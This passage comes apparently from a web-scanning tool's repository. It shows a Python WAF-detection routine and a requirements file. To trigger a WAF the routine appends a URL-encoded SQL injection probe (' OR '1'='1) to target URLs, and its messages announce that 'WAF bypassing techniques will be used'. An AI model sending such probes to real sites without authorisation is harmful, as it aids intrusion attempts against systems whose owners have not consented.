response.headers 109 | content = response.text.lower() 110 | status_code = response.status_code 111 | 112 | # Check for WAF blocking response codes 113 | if status_code in [403, 406, 429, 503]: 114 | # Look for block messages in content 115 | for pattern in WAFDetector.BLOCK_PATTERNS: 116 | if re.search(pattern, content, re.IGNORECASE): 117 | # Blocked by some kind of WAF 118 | return True, "Generic WAF" 119 | 120 | # Check for WAF signatures in headers and cookies 121 | for waf_name, signatures in WAFDetector.WAF_SIGNATURES.items(): 122 | for pattern in signatures: 123 | # Check in headers 124 | for header, value in headers.items(): 125 | if re.search(pattern, header + ": " + value, re.IGNORECASE): 126 | return True, waf_name 127 | 128 | # Check in content 129 | if re.search(pattern, content, re.IGNORECASE): 130 | return True, waf_name 131 | 132 | return False, None 133 | 134 | @staticmethod 135 | def check_target(request_handler, url, logger=None): 136 | """ 137 | Check if target has WAF protection 138 | 139 | Args: 140 | request_handler (RequestHandler): HTTP request handler 141 | url (str): Target URL 142 | logger (logging.Logger, optional): Logger instance 143 | 144 | Returns: 145 | tuple: (is_waf_detected, waf_name) - (bool, str) 146 | """ 147 | try: 148 | # First, make a normal request to the target 149 | response = request_handler.get(url) 150 | is_waf, waf_name = WAFDetector.detect(response) 151 | 152 | if is_waf: 153 | if logger: 154 | logger.warning(f"WAF detected: {waf_name}") 155 | print_status(f"WAF detected: {waf_name}", "warning") 156 | print_status("WAF bypassing techniques will be used", "info") 157 | return True, waf_name 158 | 159 | # If not detected, try with a suspicious parameter 160 | test_url = url 161 | if "?" in url: 162 | test_url += "&sql=1%27%20OR%20%271%27%3D%271" 163 | else: 164 | test_url += "?sql=1%27%20OR%20%271%27%3D%271" 165 | 166 | response = request_handler.get(test_url) 167 | is_waf, waf_name = WAFDetector.detect(response) 168 | 169 | if is_waf: 170 | if logger: 171 | logger.warning( 172 | f"WAF detected on suspicious request: {waf_name}") 173 | print_status( 174 | f"WAF detected when sending suspicious request: {waf_name}", "warning") 175 | print_status("WAF bypassing techniques will be used", "info") 176 | return True, waf_name 177 | 178 | if logger: 179 | logger.info("No WAF detected on target") 180 | print_status("No WAF detected on target", "info") 181 | return False, None 182 | 183 | except Exception as e: 184 | if logger: 185 | logger.error(f"Error checking for WAF: {str(e)}") 186 | print_status(f"Error checking for WAF: {str(e)}", "error") 187 | return False, None 188 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.31.0 2 | colorama==0.4.6 3 | urllib3==2.0.4 4 | certifi==2023.7.22 5 | charset-normalizer==3.2.0 6 | idna==3.4 --------------------------------------------------------------------------------